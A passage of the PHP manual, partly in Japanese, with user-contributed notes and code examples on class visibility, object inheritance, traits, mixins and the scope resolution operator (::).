      $this->price = (float)$price; // Rule 4 - float IN for $price.
    }
  }
}

?>

Now there is nothing OUTSIDE CODE can do to obscure the INSIDES of an Item. In other words, every instance of Item will always look and behave like any other Item complete with a label and a price, AND you can group them together and they will interact without disruption. Even though there is room for improvement, the basics are there, and PHP will not hassle you... which means you can keep your hair!
php at stage-slash-solutions dot com 10-Jul-2011 03:21
access a protected property:

<?php

//Some library I am not allowed to change:

abstract class a
{
  protected $foo;
}

class aa extends a
{
  function setFoo($afoo)
  {
      $this->foo = $afoo;
  }
}

?>

if you get an instance of aa and need access to $foo:

<?php
class b extends a
{
  function getFoo($ainstance)
  {
      return $ainstance->foo;
  }
}

$aainstance=someexternalfunction();
$binstance=new b;
$aafoo=$binstance->getFoo($aainstance);
?>
Marce! 25-Sep-2009 03:04
Please note that protected methods are also available from sibling classes as long as the method is declared in the common parent. This may also be an abstract method.

In the below example Bar knows about the existence of _test() in Foo because they inherited this method from the same parent. It does not matter that it was abstract in the parent.

<?php
abstract class Base {
    abstract protected function _test();
}

class Bar extends Base {

    protected function _test() { }

    public function TestFoo() {
        $c = new Foo();
        $c->_test();
    }
}

class Foo extends Base {
    protected function _test() {
        echo 'Foo';
    }
}

$bar = new Bar();
$bar->TestFoo(); // result: Foo
?>
imran at phptrack dot com 18-Aug-2009 02:06
Some Method Overriding rules :

1. In the overriding, the method names and arguments (arg's) must be same.

Example:
class p { public function getName(){} }
class c extends P{ public function getName(){} }

2. final methods can't be overridden.

3. private methods never participate in the in the overriding because these methods are not visible in the child classes.

Example:
class a {
private  function my(){
    print "parent:my";
}
public function getmy(){
$this->my();
}
}
class b extends a{
    private  function my(){
        print "base:my";
}
}
$x = new b();
$x->getmy(); // parent:my

4. While overriding decreasing access specifier is not allowed

class a {
public  function my(){
    print "parent:my";
}

}
class b extends a{
    private  function my(){
        print "base:my";
}
}
//Fatal error:  Access level to b::my() must be public (as in class a)
a dot schaffhirt at sedna-soft dot de 29-Jun-2009 12:27
If you miss the "package" keyword in PHP in order to allow access between certain classes without their members being public, you can utilize the fact, that in PHP the protected keyword allows access to both subclasses and superclasses.

So you can use this simple pattern:

<?php
    abstract class Dispatcher {
        protected function &accessProperty (self $pObj, $pName) {
            return $pObj->$pName;
        }
        protected function invokeMethod ($pObj, $pName, $pArgs) {
            return call_user_func_array(array($pObj, $pName), $pArgs);
        }
    }
?>

The classes that should be privileged to each other simply extend this dispatcher:

<?php
    class Person extends Dispatcher {
        private $name;
        protected $phoneNumbers;

        public function __construct ($pName) {
            $this->name = $pName;
            $this->phoneNumbers = array();
        }
        public function addNumber (PhoneNumber $pNumber, $pLabel) {
            $this->phoneNumbers[$pLabel] = $pNumber;

            // this does not work, because "owner" is protected:
            // $pNumber->owner = $this;

            // instead, we get a reference from the dispatcher:
            $p =& $this->accessProperty($pNumber, "owner");

            // ... and change that:
            $p = $this;
        }
        public function call ($pLabel) {
            // this does not work since "call" is protected:
            // $this->phoneNumbers[$pLabel]->call();

            // instead, we dispatch the call request:
            $this->invokeMethod($this->phoneNumbers[$pLabel], "call", array());
        }
    }

    class PhoneNumber extends Dispatcher {
        private $countryCode;
        private $areaCode;
        private $number;
        protected $owner;

        public function __construct ($pCountryCode, $pAreaCode, $pNumber) {
            $this->countryCode = $pCountryCode;
            $this->areaCode = $pAreaCode;
            $this->number = $pNumber;
        }

        protected function call () {
            echo("calling " . $this->countryCode . "-" . $this->areaCode . "-" . $this->number . "\n");
        }
    }

    $person = new Person("John Doe");
    $number1 = new PhoneNumber(12, 345, 67890);
    $number2 = new PhoneNumber(34, 5678, 90123);
    $person->addNumber($number1, "home");
    $person->addNumber($number2, "office");
    $person->call("home");
?>

Without this pattern you would have to make $owner and call() public in PhoneNumber.

Best regards,
what at ever dot com 04-Dec-2008 05:15
If you have problems with overriding private methods in extended classes, read this:)

The manual says that "Private limits visibility only to the class that defines the item". That means extended children classes do not see the private methods of parent class and vice versa also.

As a result, parents and children can have different implementations of the "same" private methods, depending on where you call them (e.g. parent or child class instance). Why? Because private methods are visible only for the class that defines them and the child class does not see the parent's private methods. If the child doesn't see the parent's private methods, the child can't override them. Scopes are different. In other words -- each class has a private set of private variables that no-one else has access to.

A sample demonstrating the percularities of private methods when extending classes:

<?php
abstract class base {
    public function inherited() {
        $this->overridden();
    }
    private function overridden() {
        echo 'base';
    }
}

class child extends base {
    private function overridden() {
        echo 'child';
    }
}

$test = new child();
$test->inherited();
?>

Output will be "base".

If you want the inherited methods to use overridden functionality in extended classes but public sounds too loose, use protected. That's what it is for:)

A sample that works as intended:

<?php
abstract class base {
    public function inherited() {
        $this->overridden();
    }
    protected function overridden() {
        echo 'base';
    }
}

class child extends base {
    protected function overridden() {
        echo 'child';
    }
}

$test = new child();
$test->inherited();
?>
Output will be "child".
Joshua Watt 29-May-2007 12:09
I couldn't find this documented anywhere, but you can access protected and private member varaibles in different instance of the same class, just as you would expect

i.e.

<?php
class A
{
    protected $prot;
    private $priv;

    public function __construct($a, $b)
    {
        $this->prot = $a;
        $this->priv = $b;
    }

    public function print_other(A $other)
    {
        echo $other->prot;
        echo $other->priv;
    }
}

class B extends A
{
}

$a = new A("a_protected", "a_private");
$other_a = new A("other_a_protected", "other_a_private");

$b = new B("b_protected", "ba_private");

$other_a->print_other($a); //echoes a_protected and a_private
$other_a->print_other($b); //echoes b_protected and ba_private

$b->print_other($a); //echoes a_protected and a_private
?>
stephane at harobed dot org 23-Aug-2006 02:22
A class A static public function can access to class A private function :

<?php
class A {
    private function foo()
    {
        print("bar");
    }

    static public function bar($a)
    {
        $a->foo();
    }
}

$a = new A();

A::bar($a);
?>

It's working.
r dot wilczek at web-appz dot de 05-Jan-2006 05:11
Beware: Visibility works on a per-class-base and does not prevent instances of the same class accessing each others properties!

<?php
class Foo
{
    private $bar;

    public function debugBar(Foo $object)
    {
        // this does NOT violate visibility although $bar is private
        echo $object->bar, "\n";
    }

    public function setBar($value)
    {
        // Neccessary method, for $bar is invisible outside the class
        $this->bar = $value;
    }

    public function setForeignBar(Foo $object, $value)
    {
        // this does NOT violate visibility!
        $object->bar = $value;
    }
}

$a = new Foo();
$b = new Foo();
$a->setBar(1);
$b->setBar(2);
$a->debugBar($b);        // 2
$b->debugBar($a);        // 1
$a->setForeignBar($b, 3);
$b->setForeignBar($a, 4);
$a->debugBar($b);        // 3
$b->debugBar($a);        // 4
?>


オブジェクトの継承

プログラミング言語の原則としてよくみられるものに継承があります。 PHP はオブジェクトモデルにおいてこの継承を利用しています。 多くのクラスとオブジェクトとの連携に継承は関係しています。

例えば、クラスを拡張するとき、サブクラスは親クラスから public と、protected のメソッドや、プロパティや定数をすべて引き継ぎます。 (子の)クラスが親のメソッドを上書きしない限り、 親のメソッドの機能が保持されます。

これは、機能を定義して抽象化するのに便利です。 また、同じようなオブジェクトに機能を追加する際に、 共通機能を再実装する必要がなくなります。

メソッドやプロパティ、そして定数の アクセス権 に関するルールは、子クラスで緩めることが可能です。 たとえば、 親クラスで protected なメソッドは 子クラスで public としてマークできます。 しかし、厳しくすることはできません。 つまり、親クラスで public なプロパティを 子クラスで private にすることはできません。

注意:

オートローディングが有効になっていない限り、 クラスの定義は実際に使うより前になければなりません。 別のクラスを継承したクラスの場合は、 そのクラスより前に親クラスが宣言されていなければなりません。 この規則が適用されるのは、別のクラスやインターフェイスを継承したクラスです。

例1 継承の例

<?php

class Foo
{
    public function printItem($string)
    {
        echo 'Foo: ' . $string . PHP_EOL;
    }

    public function printPHP()
    {
        echo 'PHP is great.' . PHP_EOL;
    }
}

class Bar extends Foo
{
    public function printItem($string)
    {
        echo 'Bar: ' . $string . PHP_EOL;
    }
}

$foo = new Foo();
$bar = new Bar();
$foo->printItem('baz'); // 出力: 'Foo: baz'
$foo->printPHP();       // 出力: 'PHP is great'
$bar->printItem('baz'); // 出力: 'Bar: baz'
$bar->printPHP();       // 出力: 'PHP is great'

?>

User Contributed Notes

niemans at pbsolo dot nl 04-Jan-2020 01:39
Inheritance works at create time, i.e. using the keyword 'new'. Static properties confused my understanding, so in order tho show the effect of visibility to inherintence I've created a simple demo script along with some set and get magic:

<?php
class A {
private $a   = 'private';
protected $b = 'protected';
public $c    = 'public';
static $d    = 'static';
public function __construct()
{
    $this->e = 'constructed';
}
public function __set($property, $value)
{
    echo ' set ' . $property . '=' . $value;
    $this->$property=$value;
}
public function __get($property)
{
    echo ' get ' . $property;
    $this->$property = 'dynamic';  // invokes __set() !!
    return $this->$property;
}
}

class B extends A
{
public function constructMe()
{
    $this->e = 'constructed2';
}
}

class C extends B
{
public function __construct()
{
    parent::constructMe();
}
}

echo " \n";
$a = new A();
$b = new B();
echo " \n";
echo ' B:c='.$b->c;
echo " \n";
echo ' B:d=' .$b->d;
echo " \n";

$c = new C();
echo " \n";

print_r($a);
print_r($b);
print_r($c);

print_r(A::$d);
print_r(B::$d);
print_r(C::$d);

echo 'A class: ';
$R = new reflectionclass('A');
print_r($R->getdefaultproperties());
print_r($R->getstaticproperties());
echo 'B class: ';
$R = new reflectionclass('B');
print_r($R->getdefaultproperties());
print_r($R->getstaticproperties());

?>

This outputs:

 set e=constructed
 B:c=public
 get d set d=dynamic B:d=dynamic
 set e=constructed2
A Object
(
    [a:A:private] => private
    [b:protected] => protected
    [c] => public
    [e] => constructed
)
B Object
(
    [a:A:private] => private
    [b:protected] => protected
    [c] => public
    [d] => dynamic
)
C Object
(
    [a:A:private] => private
    [b:protected] => protected
    [c] => public
    [e] => constructed2
)
staticstaticstaticA class: Array
(
    [d] => static
    [a] => private
    [b] => protected
    [c] => public
)
Array
(
    [d] => static
)
B class: Array
(
    [d] => static
    [b] => protected
    [c] => public
)
Array
(
    [d] => static
)

This shows how private variables ($a) are inherited, how static variables ($d) are inherited (by the class, not by the object) and that changing or adding variables in the parent ($e, $d) are not inherited by the child.
Sam Tigall 10-May-2019 06:23
Overriding a method which is called from base class works like this:

<?php
class Foo
{
    public function printItem($string)
    {
        echo 'Foo: ' . $string;
    }

    public function printPHP($string)
    {
        $this->printItem($string);
    }
}

class Bar extends Foo
{
    public function printItem($string)
    {
        echo 'Bar: ' . $string ;
    }
}

$foo = new Foo();
$bar = new Bar();
$foo->printPHP('baz'); //Foo: baz
$bar->printPHP('baz'); //Bar: baz
?>
Anonymous 25-Jan-2019 07:21
PHP7 gives you a warning if you redeclare a function in a child class with different parameters. For example:

class foo {
     function print($text='') {
          print text;
     }
}

class bar extends foo {
      function print($text1='',$text2='') {
           print text1.text2
      }
}

will give a PHP Warning:  Declaration of bar::print($text1 = '', $text2 = '') should be compatible with foo::print($text= '').
sibian0218 at gmail dot com 06-Sep-2018 07:58
I've noticed one thing concerning inheritance...
When declaring an abstract class with a private method,
which is overridden by a sub-class, private takes precedence over public for child class...
(in the case you're redeclaring a method with a different signature in fact).

Hope this helps
shaun at slickdesign dot com dot au 09-Jan-2018 06:58
Similar to functions, unless they are in conditionals, it is possible to define classes anywhere within your script and they still generate instances.

It is also possible to define child classes before the parent class, however, this seems to act the same way as a conditional, meaning that you need to define these classes before they can be used.

Examples:

- Standard usage (A and B are always accessible)
<?php
class A {}
class B extends A {}

var_dump( class_exists( 'A' ), class_exists( 'B' ) );
// Outputs: bool(true) bool(true)
?>

- End of file declaration (A and B are still always accessible, even if you have a return or exit before it)
<?php
var_dump( class_exists( 'A' ), class_exists( 'B' ) );
// Outputs: bool(true) bool(true)

die;
class A {}
class B extends A {}
?>

- Child before parent declaration (B is not accessible until it has been defined)
<?php
var_dump( class_exists( 'A' ), class_exists( 'B' ) );
// Outputs: bool(true) bool(false)

class B extends A {}
var_dump( class_exists( 'B' ) );
// Outputs: bool(true)

class A {}
?>

- Conditional definition (Same as child before parent example above)
<?php
var_dump( class_exists( 'A' ), class_exists( 'B' ) );
// Outputs: bool(true) bool(false)

if ( ! class_exists( 'B' ) ) {
    class B extends A {}
}
var_dump( class_exists( 'B' ) );
// Outputs: bool(true)

class A {}
nemanja 26-Jul-2017 08:10
Even when autoloading (SPL) is used, class inheritance does not seem to work. Simply the PHP engine is unable to find parent (inherited) class. PHP 5.6 and 7.0 behave exactly same on this, which beats the purpose of autoloading.

And IMHO it's easy to fix as the autoloader is able to find all first level classes w/o problems, it just needs to follow same path recursively on parents too.

<?php
//Using default SPL autoloader, with namespaces mapping 1:1 to directory structure, with file names being all lowercase.
//This works with first level classes only, for inheritance it does NOT work, it cannot find parent classes.
spl_autoload_register();

//This is ugly but working code if you want to be able to autoload parent classes too.
spl_autoload_register(function ($class){
    require_once __DIR__ . '/' . strtolower(str_replace('\\', '/', $class) . '.php');
});
Mohammad Istanbouly 11-Jun-2017 10:50
I think the best way for beginners to understand inheritance is through a real example so here is a simple example I can gave to you

<?php

class Person
{
    public $name;
    protected $age;
    private $phone;

    public function talk(){
        //Do stuff here
    }

    protected function walk(){
        //Do stuff here
    }

    private function swim(){
        //Do stuff here
    }
}

class Tom extends Person
{
    /*Since Tom class extends Person class this means
        that class Tom is a child class and class person is
        the parent class and child class will inherit all public
        and protected members(properties and methods) from
        the parent class*/

     /*So class Tom will have these properties and methods*/

     //public $name;
     //protected $age;
     //public function talk(){}
     //protected function walk(){}

     //but it will not inherit the private members
     //this is all what Object inheritance means
}
clintonabco at gmail dot com 08-Jun-2017 10:30
This page is not clear about the nature and specifics of Object Inheritance especially that you can only make the visibility of an inherited method or property weaker and not stronger within the subclass that is inheriting these from its parent class.

Example:

<?php
class Test1
{
    protected $a_property = "This is a property";

    protected function printProperty()
    {
        echo $this->a_property;
    }
}

class Test2 extends Test1
{
    private $b_property = "This is another property";

    private function printProperty()
    {
        echo $this->b_property;
    }
}

$test2 = new Test2();
?>

This code produces a PHP Fatal error with message:

PHP Fatal error:  Access level to Test2::printProperty() must be protected (as in class Test1) or weaker

So if you inherit a protected method and you want redeclare it in your subclass then you can either declare its visibility as protected or public. If public is inherited then it stays public.

Here is the working version of the code snippet above:

<?php
class Test1
{
    protected $a_property = "This is a property";

    protected function printProperty()
    {
        echo $this->a_property;
    }
}

class Test2 extends Test1
{
    private $b_property = "This is another property";

    public function printProperty()
    {
        echo $this->b_property;
    }
}

$test2 = new Test2();
$test2->printProperty();
?>

To iterate what the description on the page says, subclasses inherit all protected and public properties and methods.
tim at web dot com 31-May-2017 05:22
[Document:Main.php]
<?php
//
include("person.php");
include("student.php");
include("teacher.php");
//-----Creating a object of the class "teacher"--------
$t1=new teacher();
$t1->name="Mustermann";
$t1->forename="Max";
$t1->email="max@mustermann.com";

echo $t1->name.", ".$t1->forename.": ".$t1->email;
$t1->ID();

//-----Creating a object of the class "student"--------
$s1=new student();
$s1->name="Kevin";
$s1->forename="Alpha";

echo $s1->name."; ".$s1->forename;
$s1->ID();
?>

//-------------------------------------------------------------------------------------------
[Document:person.php]
<?php
class person
{
  //Attribute
  public $name;
  public $forename;
}
?>

//-------------------------------------------------------------------------------------------
[Document:teacher.php]
<?php
class teacher extends person    /
{
  //Attribute
  public $email;
  //Function
  public function ID()
  {
    echo "<p>I am a teacher</p>";
  }
}
?>

//-------------------------------------------------------------------------------------------
[Document:student.php]
<?php
class student extends Person
{
  //Attribute
  //Functionen
  public function ID()
  {
    echo"<p>I am a student</p>";
  }
}
?>
gino dot d at amail dot com 15-Mar-2017 05:36
A simple trait to create multi inheritance in php

<?php

trait tExtend {
    private $objectExtend = [];

    final public function extend() {
        foreach ($objects = func_get_args() as &$object) {
            if (is_object($object) && !$object instanceOf self) {
                $this->objectExtend[] = $object;

                if (is_callable([$object, 'syncExtend']))
                    $object->syncExtend($this, $objects);
            }
        }
    }

    final public function syncExtend(&$object = null, array $objects) {
        if (is_object($object) && !$object instanceOf self && !in_array($object, $this->objectExtend))
            $this->objectExtend[] = $object;

        foreach ($objects as &$object)
            if (is_object($object) && !$object instanceOf self && !in_array($object, $this->objectExtend))
                $this->objectExtend[] = $object;

        return $this;
    }

    final public function __call($method, $args) {
        if (method_exists($this, $method))
            return $this->{$method}(... $args);
        else {
            foreach ($this->objectExtend as $i => &$object) {
                if (method_exists($object, $method))
                    return $object->{$method}(... $args);
            }
        }

        throw new \Exception('Call to undefined method ' . get_called_class() .  '::' . $method . '()');
    }

    final public function __get($key) {
        if (array_key_exists($key, $this))
            return $this->{$key};

        foreach ($this->objectExtend as &$object) {
            if (array_key_exists($key, $object))
                return $object->{$key};
        }

        trigger_error('Undefined property: ' . get_called_class() . '::$' . $key, E_USER_NOTICE);
    }

    final public function __isset($key) {
        if (array_key_exists($key, $this))
            return true;

        foreach ($this->objectExtend as &$object) {
            if (array_key_exists($key, $object))
                return true;
        }

        return false;
    }
}

/*************/

class F {
    public $relationship = 'Sister';
}

class M {
    public $relationship = 'Brother';
}

class A extends M {
    use tExtend;
}
class B extends F {
    use tExtend;

    function getName() {
        return 'B';
    }
}
class C extends F {
    use tExtend;

    function getName() {
        return 'C';
    }
}
class D extends M {
    use tExtend;
}

class Z  {
    use tExtend;

    function getParent() {
        return 'Z';
    }

    function __construct() {
        $this->extend(... func_get_args());
    }
}

$a = new A;
$b = new B;
$c = new C;
$d = new D;
$z = new Z($a, $b, $c, $d);

$d->extend($a); // Change nothing
$a->varA = 'A';
$c->varA = 'C';

echo $a->getParent(); // print Z
echo $a->getName(); // print B
echo $b->getName(); // print B
echo $c->getName(); // print C
echo $d->getName(); // print B
echo $z->getName(); // print B
echo $z->varA; // print A
echo $c->varA; // print C
?>
akashwebdev at gmail dot com 01-Jul-2015 05:59
The Idea that multiple inheritence is not supported is correct but with tratits this can be reviewed.

for e.g.

<?php
trait  custom
{
     public function hello()
     {
          echo "hello";
     }
}

trait custom2
{
       public function hello()
       {
            echo "hello2";
       }
}

class inheritsCustom
{
        use custom, custom2
        {
              custom2::hello insteadof custom;
        }
}

$obj = new inheritsCustom();
$obj->hello();
?>
ghoucine at gmail dot com 26-Aug-2014 08:48
For multiple single inheretance to work the order of class definition is very important if you're going up more than two levels in inheretence.

This won't work:

<?php

class A extends B {}

class B extends C {}

class C {}

$A = new A;
?>
Running the code above will spit a fatal error (Fatal Error:Class 'B' not found)

A change in class definition order will fix this:

<?php

class A extends B {}

class C {}

class B extends C {}

$A = new A;
?>

If you're goin up just one level in inhertance though there shouldn't be any problem. So this code works too:

<?php

class A extends B {}

class B  {}

$A = new A;

?>

I have no explanation as to why this is the case though.
msg2maciej at aol dot com 28-Jan-2011 04:08
PHP supports single class inheritance. My bare idea on accessing protected methods with power of abstracts and sort of "multi-class inheritance SIMULATION":

<?php
error_reporting(E_ALL);

abstract class Base {
    abstract protected function __construct ();
    abstract protected function hello_left ();
    abstract protected function hello_right ();
}

abstract class NotImplemented_Left extends Base {
protected function hello_right () {
echo 'well, wont see that'; }}

abstract class NotImplemented_Right extends Base {
protected function hello_left () {
echo 'well, wont see that'; }}

class Left extends NotImplemented_Left {
protected function __construct () {        # limited visibility, no access from "outside"
echo __CLASS__.'::protected __construct'. "\n"; }
protected function hello_left () {        # limited visibility, no access from "outside"
echo 'protected hello_left in ' . __CLASS__ . "\n"; }}

class Right extends NotImplemented_Right {
protected function __construct () {        # limited visibility, no access from "outside"
echo __CLASS__.'::protected __construct'. "\n"; }
protected function hello_right () {        # limited visibility, no access from "outside"
echo 'protected hello_right in ' . __CLASS__ . "\n"; }
protected function hello_left () {
echo "wont see that, and easy to get rid of it from here\n"; }}

class Center extends Base {
private $left;
private $right;
public function __construct () {
echo 'welcome in ' . __CLASS__ . "\n";
echo 'Center::'; $this->left = new Left;
echo 'Center::'; $this->right = new Right;
echo " oh and\n";
$this->hello_left();
$this->hello_right();
}
public function hello_left () {            # calling class Left
echo __CLASS__.'::'; $this->left->hello_left(); }
public function hello_right () {        # calling class Right
echo __CLASS__.'::'; $this->right->hello_right(); }
}

$c = new Center;
?>

Produces:

welcome in Center
Center::Left::protected __construct
Center::Right::protected __construct
 oh and
Center::protected hello_left in Left
Center::protected hello_right in Right
OZ 14-Nov-2010 03:24
Model for Mixins pattern:

<?php
interface IMixinsCaller
{
    public function __mixin_get_property($property);

    public function __mixin_set_property($property, $value);

    public function __mixin_call($method, $value);
}

abstract class MixinsCaller implements IMixinsCaller
{
    protected $mixins = array();

    public function __call($name, $arguments)
    {
        if (!empty($this->mixins))
        {
            foreach ($this->mixins as $mixin)
            {
                if (method_exists($mixin, $name))
                {
                    return call_user_func_array(array($mixin, $name), $arguments);
                }
            }
        }
        trigger_error('Non-existent method was called in class '.__CLASS__.': '.$name, E_USER_WARNING);
    }

    public function __mixin_get_property($property)
    {
        if (property_exists($this, $property))
        {
            return $this->$property;
        }
        trigger_error('Non-existent property was get in class '.__CLASS__.': '.$property, E_USER_WARNING);
    }

    public function __mixin_set_property($property, $value)
    {
        if (property_exists($this, $property))
        {
            return $this->$property = $value;
        }
        trigger_error('Non-existent property was set in class '.__CLASS__.': '.$property, E_USER_WARNING);
    }

    public function __mixin_call($method, $value)
    {
        if (method_exists($this, $method))
        {
            return call_user_func_array(array($this, $method), $value);
        }
        trigger_error('Non-existent method was called in class '.__CLASS__.': '.$method, E_USER_WARNING);
    }

    public function AddMixin($mixin)
    {
        $this->mixins[] = $mixin;
    }
}

abstract class Mixin
{
    /** @var IMixinsCaller $parent_object */
    private $parent_object;

    public function __construct(IMixinsCaller $parent_object)
    {
        $this->parent_object = $parent_object;
    }

    public function __get($property)
    {
        return $this->parent_object->__mixin_get_property($property);
    }

    public function __set($property, $value)
    {
        return $this->parent_object->__mixin_set_property($property, $value);
    }

    public function __call($method, $value)
    {
        return $this->parent_object->__mixin_call($method, $value);
    }
}
?>
strata_ranger at hotmail dot com 19-Sep-2010 09:37
I was recently extending a PEAR class when I encountered a situation where I wanted to call a constructor two levels up the class hierarchy, ignoring the immediate parent.  In such a case, you need to explicitly reference the class name using the :: operator.

Fortunately, just like using the 'parent' keyword PHP correctly recognizes that you are calling the function from a protected context inside the object's class hierarchy.

E.g:

<?php
class foo
{
  public function something()
  {
    echo __CLASS__; // foo
    var_dump($this);
  }
}

class foo_bar extends foo
{
  public function something()
  {
    echo __CLASS__; // foo_bar
    var_dump($this);
  }
}

class foo_bar_baz extends foo_bar
{
  public function something()
  {
    echo __CLASS__; // foo_bar_baz
    var_dump($this);
  }

  public function call()
  {
    echo self::something(); // self
    echo parent::something(); // parent
    echo foo::something(); // grandparent
  }
}

error_reporting(-1);

$obj = new foo_bar_baz();
$obj->call();

// Output similar to:
// foo_bar_baz
// object(foo_bar_baz)[1]
// foo_bar
// object(foo_bar_baz)[1]
// foo
// object(foo_bar_baz)[1]

?>
jackdracona at msn dot com 14-Apr-2010 08:53
Here is some clarification about PHP inheritance - there is a lot of bad information on the net.  PHP does support Multi-level inheritance.  (I tested it using version 5.2.9).  It does not support multiple inheritance.

This means that you cannot have one class extend 2 other classes (see the extends keyword).  However, you can have one class extend another, which extends another, and so on.

Example:

<?php
class A {
        // more code here
}

class B extends A {
        // more code here
}

class C extends B {
        // more code here
}

$someObj = new A();  // no problems
$someOtherObj = new B(); // no problems
$lastObj = new C(); // still no problems

?>
php at sleep is the enemy dot co dot uk 07-Apr-2010 02:36
Here's fun, an attempt to make some degree of multiple inheritance work in PHP using mixins. It's not particularly pretty, doesn't support method visibility modifiers and, if put to any meaningful purpose, could well make your call stack balloon to Ruby-on-Rails-esque proportions, but it does work.

<?php
abstract class Mix {

    protected $_mixMap = array();

    public function __construct(){

         $this->_mixMap = $this->collectMixins($this);
    }

    public function __call($method, $args){

        // doesn't pass scope
        //return call_user_func_array(array($className, $method), $args);

        // Error: Given object is not an instance of the class this method was declared in
        //$method = new ReflectionMethod($className, $method);
        //return $method->invokeArgs($this, $args);

        $payload = $this->buildMixinPayload($this->_mixMap, $method, $args);
        if(!$payload) throw new Exception('Method ' . $method . ' not found');

        list($mixinMethod, list($method, $args)) = $payload;

        return $this->$mixinMethod($method, $args);

    }

    protected function collectMixins($class){

        static $found = array();
        static $branch = array();

        if(empty($branch)) $branch[] = get_class($this);
        $mixins = array();

        foreach(array_reverse(get_class_methods($class)) as $method){
            if(preg_match('/^mixin(\w+)$/', $method, $matches)){

                $className = $matches[1];

                if(in_array($className, $branch))
                    throw new Exception('Circular reference detected ' . implode(' > ', $branch) . ' > ' . $className);

                if(!in_array($className, $found)){

                    if(!class_exists($className)) throw new Exception('Class ' . $className . ' not found');

                    // populate props from mixin class
                    foreach(get_class_vars($className) as $key => $value){
                        if(!property_exists($this, $key)) $this->$key = $value;
                    }

                    $found[] = $branch[] = $className;
                    $mixins[$className] = $this->collectMixins($className);
                }

                $branch = array(get_class($this));
            }
        }

        return $mixins;
    }

    protected function buildMixinPayload($mixins, $method, $args){

        foreach($mixins as $className => $parents){

            $mixinMethod = 'mixin' . $className;

            if(method_exists($className, $method)) return array($mixinMethod, array($method, $args));

            if(!empty($parents) && $return = $this->buildMixinPayload($parents, $method, $args)){
                return array($mixinMethod, $return);
            }
        }

        return false;
    }

}
?>
jarrod at squarecrow dot com 27-Oct-2009 06:01
You can force a class to be strictly an inheritable class by using the "abstract" keyword. When you define a class with abstract, any attempt to instantiate a separate instance of it will result in a fatal error. This is useful for situations like a base class where it would be inherited by multiple child classes yet you want to restrict the ability to instantiate it by itself.

Example........

<?php

abstract class Cheese
{
      //can ONLY be inherited by another class
}

class Cheddar extends Cheese
{
}

$dinner = new Cheese; //fatal error
$lunch = new Cheddar; //works!

?>


スコープ定義演算子 (::)

スコープ定義演算子 (またの名を Paamayim Nekudotayim)、 平たく言うと「ダブルコロン」は、トークンのひとつです。 static, 定数 およびオーバーライドされたクラスのプロパティやメソッドにアクセスすることができます。

これらの要素をクラス定義の外から参照する際には、 クラスの名前を使用してください。

変数を用いてクラスを参照することも可能です。 変数の値に (self や parent、 static といった) キーワードを指定することはできません。

なぜダブルコロンに Paamayim Nekudotayim という名前をつけたのか、 ちょっと奇妙に感じられるかもしれません。 しかし、Zend Engine 0.5 (PHP 3のエンジン) を 書いている時に、Zend チームはこう呼ぶと決めたのです。 この奇妙な名前は、実はダブルコロンを意味するヘブライ語なのです!

例1 クラス定義の外からの ::

<?php
class MyClass {
    const CONST_VALUE = 'A constant value';
}

$classname = 'MyClass';
echo $classname::CONST_VALUE;

echo MyClass::CONST_VALUE;
?>

三つの特別なキーワード self と parentそして static がクラス定義の内部からプロパティまたはメソッドにアクセスする際に使用されます。

例2 クラス定義の中からの ::

<?php
class OtherClass extends MyClass
{
    public static $my_static = 'static var';

    public static function doubleColon() {
        echo parent::CONST_VALUE . "\n";
        echo self::$my_static . "\n";
    }
}

$classname = 'OtherClass';
$classname::doubleColon();

OtherClass::doubleColon();
?>

拡張されたクラスが親クラスのメソッドの定義をオーバーライドする際、 PHPは親クラスのメソッドをコールしません。 親クラスのメソッドをコールするかしないかは、 拡張されたクラスに責任があります。 これは、コンストラクタおよびデストラクタ, オーバーロード, そして マジック メソッドの定義にも 適用されます。

例3 親クラスのメソッドをコールする

<?php
class MyClass
{
    protected function myFunc() {
        echo "MyClass::myFunc()\n";
    }
}

class OtherClass extends MyClass
{
    // 親の定義をオーバーライドします
    public function myFunc()
    {
        // それでも親の関数をコールできます
        parent::myFunc();
        echo "OtherClass::myFunc()\n";
    }
}

$class = new OtherClass();
$class->myFunc();
?>

静的コールのトリックに関するサンプル も参照ください。

User Contributed Notes

1naveengiri at gmail dot com 15-May-2017 06:36
In PHP, you use the self keyword to access static properties and methods.

The problem is that you can replace $this->method() with self::method() anywhere, regardless if method() is declared static or not. So which one should you use?

Consider this code:

class ParentClass {
    function test() {
        self::who();    // will output 'parent'
        $this->who();    // will output 'child'
    }

    function who() {
        echo 'parent';
    }
}

class ChildClass extends ParentClass {
    function who() {
        echo 'child';
    }
}

$obj = new ChildClass();
$obj->test();
In this example, self::who() will always output 'parent', while $this->who() will depend on what class the object has.

Now we can see that self refers to the class in which it is called, while $this refers to the class of the current object.

So, you should use self only when $this is not available, or when you don't want to allow descendant classes to overwrite the current method.
jasverix at NOSPAM dot gmail dot com 03-Oct-2013 01:25
Just found out that using the class name may also work to call similar function of anchestor class.

<?php

class Anchestor {

   public $Prefix = '';

   private $_string =  'Bar';
    public function Foo() {
        return $this->Prefix.$this->_string;
    }
}

class MyParent extends Anchestor {
    public function Foo() {
         $this->Prefix = null;
        return parent::Foo().'Baz';
    }
}

class Child extends MyParent {
    public function Foo() {
        $this->Prefix = 'Foo';
        return Anchestor::Foo();
    }
}

$c = new Child();
echo $c->Foo(); //return FooBar, because Prefix, as in Anchestor::Foo()

?>

The Child class calls at Anchestor::Foo(), and therefore MyParent::Foo() is never run.
guy at syntheticwebapps dot com 15-Sep-2013 08:29
It seems as though you can use more than the class name to reference the static variables, constants, and static functions of a class definition from outside that class using the :: . The language appears to allow you to use the object itself.

For example:
class horse
{
   static $props = {'order'=>'mammal'};
}
$animal = new horse();
echo $animal::$props['order'];

// yields 'mammal'

This does not appear to be documented but I see it as an important convenience in the language. I would like to see it documented and supported as valid.

If it weren't supported officially, the alternative would seem to be messy, something like this:

$animalClass = get_class($animal);
echo $animalClass::$props['order'];
remy dot damour at ----no-spam---laposte dot net 05-May-2010 01:50
As of php 5.3.0, you can use 'static' as scope value as in below example (add flexibility to inheritance mechanism compared to 'self' keyword...)

<?php

class A {
    const C = 'constA';
    public function m() {
        echo static::C;
    }
}

class B extends A {
    const C = 'constB';
}

$b = new B();
$b->m();

// output: constB
?>
Theriault 05-Dec-2009 08:58
A class constant, class property (static), and class function (static) can all share the same name and be accessed using the double-colon.

<?php

class A {

    public static $B = '1'; # Static class variable.

    const B = '2'; # Class constant.

    public static function B() { # Static class function.
        return '3';
    }

}

echo A::$B . A::B . A::B(); # Outputs: 123
?>
wouter at interpotential dot com 09-Nov-2009 07:24
